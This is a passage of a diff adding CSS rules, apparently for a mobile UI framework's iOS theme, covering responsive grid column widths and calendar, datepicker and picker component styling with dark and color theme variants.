.tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .tablet-auto:nth-last-child(18), + .ios .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .ios .row .tablet-auto:nth-last-child(19), + .ios .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .tablet-auto:nth-last-child(19), + .ios .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .ios .row .tablet-auto:nth-last-child(20), + .ios .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-auto:nth-last-child(20), + .ios .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(21), + .ios .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .tablet-auto:nth-last-child(21), + .ios .row.no-gap .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .ios .row .desktop-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-100 { + width: 100%; + } + .ios .row .desktop-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .desktop-95 { + width: 95%; + } + .ios .row .desktop-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .desktop-90 { + width: 90%; + } + .ios .row .desktop-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .desktop-85 { + width: 85%; + } + .ios .row .desktop-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .desktop-80 { + width: 80%; + } + .ios .row .desktop-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .desktop-75 { + width: 75%; + } + .ios .row .desktop-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .desktop-70 { + width: 70%; + } + .ios .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .ios .row .desktop-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .desktop-65 { + width: 65%; + } + .ios .row .desktop-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .desktop-60 { + width: 60%; + } + .ios .row .desktop-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .desktop-55 { + width: 55%; + } + .ios .row .desktop-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-50 { + width: 50%; + } + .ios .row .desktop-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .desktop-45 { + width: 45%; + } + .ios .row .desktop-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .desktop-40 { + width: 40%; + } + .ios .row .desktop-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .desktop-35 { + width: 35%; + } + .ios .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .ios .row .desktop-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .desktop-30 { + width: 30%; + } + .ios .row .desktop-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-25 { + width: 25%; + } + .ios .row .desktop-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-20 { + width: 20%; + } + .ios .row .desktop-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .desktop-15 { + width: 15%; + } + .ios .row .desktop-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-10 { + width: 10%; + } + .ios .row .desktop-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-5 { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(1), + .ios .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .desktop-auto:nth-last-child(1), + .ios .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .ios .row .desktop-auto:nth-last-child(2), + .ios .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .desktop-auto:nth-last-child(2), + .ios .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .ios .row .desktop-auto:nth-last-child(3), + .ios .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .desktop-auto:nth-last-child(3), + .ios .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .ios .row .desktop-auto:nth-last-child(4), + .ios .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .desktop-auto:nth-last-child(4), + .ios .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .ios .row .desktop-auto:nth-last-child(5), + .ios .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .desktop-auto:nth-last-child(5), + .ios .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .ios .row .desktop-auto:nth-last-child(6), + .ios .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .desktop-auto:nth-last-child(6), + .ios .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .ios .row .desktop-auto:nth-last-child(7), + .ios .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .desktop-auto:nth-last-child(7), + .ios .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .ios .row .desktop-auto:nth-last-child(8), + .ios .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .desktop-auto:nth-last-child(8), + .ios .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .ios .row .desktop-auto:nth-last-child(9), + .ios .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .desktop-auto:nth-last-child(9), + .ios .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .ios .row .desktop-auto:nth-last-child(10), + .ios .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .desktop-auto:nth-last-child(10), + .ios .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .ios .row .desktop-auto:nth-last-child(11), + .ios .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .desktop-auto:nth-last-child(11), + .ios .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .ios .row .desktop-auto:nth-last-child(12), + .ios .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .desktop-auto:nth-last-child(12), + .ios .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .ios .row .desktop-auto:nth-last-child(13), + .ios .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .desktop-auto:nth-last-child(13), + .ios .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .ios .row .desktop-auto:nth-last-child(14), + .ios .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .desktop-auto:nth-last-child(14), + .ios .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .ios .row .desktop-auto:nth-last-child(15), + .ios .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .desktop-auto:nth-last-child(15), + .ios .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .ios .row .desktop-auto:nth-last-child(16), + .ios .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .desktop-auto:nth-last-child(16), + .ios .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .ios .row .desktop-auto:nth-last-child(17), + .ios .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .desktop-auto:nth-last-child(17), + .ios .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .ios .row .desktop-auto:nth-last-child(18), + .ios .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .desktop-auto:nth-last-child(18), + .ios .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .ios .row .desktop-auto:nth-last-child(19), + .ios .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .desktop-auto:nth-last-child(19), + .ios .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .ios .row .desktop-auto:nth-last-child(20), + .ios .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .desktop-auto:nth-last-child(20), + .ios .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .ios .row .desktop-auto:nth-last-child(21), + .ios .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); + } + .ios .row.no-gap .desktop-auto:nth-last-child(21), + .ios .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Calendar/Datepicker === */ +.calendar { + overflow: hidden; + height: 320px; + width: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.calendar.modal-in { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +@media (orientation: landscape) and (max-height: 415px) { + .calendar.calendar-sheet { + height: 220px; + } + .calendar.calendar-modal { + height: calc(100vh - 44px); + } +} +.calendar.calendar-inline, +.calendar.calendar-popover .calendar { + position: relative; +} +.calendar-modal { + position: absolute; + height: 420px; + overflow: hidden; + top: 50%; + left: 50%; + min-width: 300px; + max-width: 380px; + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + z-index: 12000; + background: #fff; + width: 90%; + border-radius: 4px; + -webkit-box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); + box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); +} +.calendar-modal.modal-in, +.calendar-modal.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.calendar-modal.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.calendar-modal.modal-out { + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); +} +.calendar-popover { + width: 320px; +} +.calendar-popover .calendar { + height: 320px; +} +.calendar-week-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 11px; +} +.calendar-week-header .calendar-week-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; +} +.calendar-months { + width: 100%; + height: 100%; + overflow: hidden; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-months-wrapper { + position: relative; + width: 100%; + height: 100%; + -webkit-transition: 300ms; + transition: 300ms; +} +.calendar-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; +} +.calendar-row { + height: 16.66666667%; + height: calc(100% / 6); + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.calendar-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; + cursor: pointer; + z-index: 20; + color: #000; + height: 100%; +} +.calendar-day.calendar-day-prev, +.calendar-day.calendar-day-next { + color: #b8b8b8; +} +.calendar-day.calendar-day-disabled { + color: #d4d4d4; + cursor: auto; +} +.calendar-day.calendar-day-selected span { + color: #fff; +} +.calendar-day.calendar-day-has-events span:after { + content: ''; + width: 4px; + height: 4px; + border-radius: 50%; + position: absolute; + margin-left: -2px; + left: 50%; + bottom: 1px; +} +.calendar-day span { + display: inline-block; + border-radius: 100%; + position: relative; +} +.calendar-range .calendar-day.calendar-day-selected { + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; + -webkit-align-content: stretch; + -ms-flex-line-pack: stretch; + align-content: stretch; +} +.calendar-range .calendar-day.calendar-day-selected span { + width: 100%; + border-radius: 0; + height: auto; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.calendar-month-selector, +.calendar-year-selector { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 50%; + max-width: 200px; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-month-selector span, +.calendar-year-selector span { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + overflow: hidden; + text-overflow: ellipsis; +} +.ios .calendar-header { + height: 44px; + background: #f7f7f8; + font-size: 17px; + line-height: 44px; + font-weight: 600; + padding: 0 8px; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.ios .calendar-footer { + position: relative; + padding: 0 8px; + width: 100%; + height: 44px; + background: #f7f7f8; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 17px; +} +.ios .calendar-footer:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-week-header { + background: #f7f7f8; + height: 18px; +} +.ios .calendar-week-header .calendar-week-day { + line-height: 18px; +} +.ios .calendar-row:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-row:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-row:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-day { + font-size: 15px; +} +.ios .calendar-day.calendar-day-today span { + background: #e3e3e3; +} +.ios .calendar-day.calendar-day-has-events span:after { + background: #007aff; +} +.ios .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.ios .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .calendar-day span { + width: 30px; + height: 30px; + line-height: 30px; +} +.ios .calendar-month-selector a.icon-only, +.ios .calendar-year-selector a.icon-only { + min-width: 36px; +} +.ios .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #929499; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .calendar-sheet { + background: #fff; +} +.ios .calendar-sheet:before { + z-index: 600; +} +.ios .calendar-sheet .toolbar:before { + display: none !important; +} +.ios .calendar-modal .toolbar:before, +.ios .calendar-popover .toolbar:before { + display: none !important; +} +.ios .calendar-modal .calendar-months:first-child .calendar-row:first-child:before, +.ios .calendar-popover .calendar-months:first-child .calendar-row:first-child:before { + display: none !important; +} +.ios .calendar-popover .toolbar { + background: none; +} +.ios .calendar-popover .calendar-week-header, +.ios .calendar-popover .calendar-header, +.ios .calendar-popover .calendar-footer { + background: none; +} +.ios.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-left.calendar .calendar-row, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .ios.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-left.calendar .calendar-week-header, + .ios.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .ios.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-right-edge.calendar .calendar-row, + .ios.device-iphone-x .ios-edges.calendar .calendar-row, + .ios.device-iphone-x .popup.calendar .calendar-row, + .ios.device-iphone-x .sheet-modal.calendar .calendar-row, + .ios.device-iphone-x .panel-right.calendar .calendar-row, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row, + .ios.device-iphone-x .ios-right-edge.calendar .calendar-week-header, + .ios.device-iphone-x .ios-edges.calendar .calendar-week-header, + .ios.device-iphone-x .popup.calendar .calendar-week-header, + .ios.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .ios.device-iphone-x .panel-right.calendar .calendar-week-header, + .ios.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header, + .ios.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +.ios .theme-dark .calendar .calendar-header, +.calendar.ios .theme-dark .calendar-header, +.ios .theme-dark .calendar .calendar-week-header, +.calendar.ios .theme-dark .calendar-week-header, +.ios .theme-dark .calendar .calendar-footer, +.calendar.ios .theme-dark .calendar-footer { + background-color: #1b1b1b; +} +.ios .theme-dark .calendar-popover .calendar-week-header { + background-color: transparent; +} +.ios .theme-dark .calendar-footer:before, +.ios .theme-dark .calendar-row:before, +.ios .theme-dark .calendar-sheet:before { + background-color: #282829; +} +.ios .theme-dark .calendar-day { + color: #fff; +} +.ios .theme-dark .calendar-day.calendar-day-today:not(.calendar-day-selected) span { + background: #333; +} +.ios .theme-dark .calendar-day.calendar-day-disabled { + color: #8E8E93; +} +.ios .theme-dark .calendar-day.calendar-day-prev, +.ios .theme-dark .calendar-day.calendar-day-next { + color: #555; +} +.ios .theme-dark .calendar-modal, +.calendar-modal.ios .theme-dark, +.ios .theme-dark .calendar-sheet { + background: #171717; +} +.ios .color-theme-red .calendar-day.calendar-day-selected span, +.ios .color-red .calendar-day.calendar-day-selected span { + background: #ff3b30; +} +.ios .color-theme-green .calendar-day.calendar-day-selected span, +.ios .color-green .calendar-day.calendar-day-selected span { + background: #4cd964; +} +.ios .color-theme-blue .calendar-day.calendar-day-selected span, +.ios .color-blue .calendar-day.calendar-day-selected span { + background: #007aff; +} +.ios .color-theme-pink .calendar-day.calendar-day-selected span, +.ios .color-pink .calendar-day.calendar-day-selected span { + background: #ff2d55; +} +.ios .color-theme-yellow .calendar-day.calendar-day-selected span, +.ios .color-yellow .calendar-day.calendar-day-selected span { + background: #ffcc00; +} +.ios .color-theme-orange .calendar-day.calendar-day-selected span, +.ios .color-orange .calendar-day.calendar-day-selected span { + background: #ff9500; +} +.ios .color-theme-gray .calendar-day.calendar-day-selected span, +.ios .color-gray .calendar-day.calendar-day-selected span { + background: #8e8e93; +} +.ios .color-theme-white .calendar-day.calendar-day-selected span, +.ios .color-white .calendar-day.calendar-day-selected span { + background: #ffffff; +} +.ios .color-theme-black .calendar-day.calendar-day-selected span, +.ios .color-black .calendar-day.calendar-day-selected span { + background: #000000; +} +/* === Picker === */ +.picker { + width: 100%; + height: 260px; +} +.picker.picker-inline, +.popover .picker { + height: 200px; +} +@media (orientation: landscape) and (max-height: 415px) { + .picker:not(.picker-inline) { + height: 200px; + } +} +.picker-popover { + width: 280px; +} +.picker-columns { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + overflow: hidden; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0; + text-align: right; + height: 100%; + position: relative; + -webkit-mask-box-image: linear-gradient(to top, transparent, transparent 5%, white 20%, white 80%, transparent 95%, transparent); +} +.picker-column { + position: relative; + max-height: 100%; +} +.picker-column.picker-column-first:before, +.picker-column.picker-column-last:after { + height: 100%; + width: 100vw; + position: absolute; + content: ''; + top: 0; +} +.picker-column.picker-column-first:before { + left: 100%; +} +.picker-column.picker-column-last:after { + right: 100%; +} +.picker-column.picker-column-left { + text-align: left; +} +.picker-column.picker-column-center { + text-align: center; +} +.picker-column.picker-column-right { + text-align: right; +} +.picker-column.picker-column-divider { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.picker-items { + -webkit-transition: 300ms; + transition: 300ms; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.picker-item { + height: 36px; + line-height: 36px; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + left: 0; + top: 0; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; +} +.picker-item span { + padding: 0 10px; +} +.picker-column-absolute .picker-item { + position: absolute; +} +.picker-item.picker-item-far { + pointer-events: none; +} +.picker-item.picker-item-selected { + -webkit-transform: translate3d(0, 0, 0) rotateX(0deg); + transform: translate3d(0, 0, 0) rotateX(0deg); +} +.picker-center-highlight { + height: 36px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + width: 100%; + top: 50%; + margin-top: -18px; + pointer-events: none; +} +.picker-3d .picker-columns { + overflow: hidden; + -webkit-perspective: 1200px; + perspective: 1200px; +} +.picker-3d .picker-column, +.picker-3d .picker-items, +.picker-3d .picker-item { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.picker-3d .picker-column { + overflow: visible; +} +.picker-3d .picker-item { + -webkit-transform-origin: center center -110px; + transform-origin: center center -110px; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.ios .picker-columns { + font-size: 24px; +} +.ios .picker-column-divider { + color: #000; +} +.ios .picker-item { + color: #707274; +} +.ios .picker-item.picker-item-selected { + color: #000; +} +.ios .picker-popover .toolbar { + background: none; +} +.ios .picker-popover .toolbar:before { + display: none !important; +} +.ios .picker-popover .picker > .toolbar + .picker-columns { + height: calc(100% - 44px); +} +.ios .picker-popover .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .picker-popover .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .picker-center-highlight:before { + content: ''; + position: absolute; + background-color: #a8abb0; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 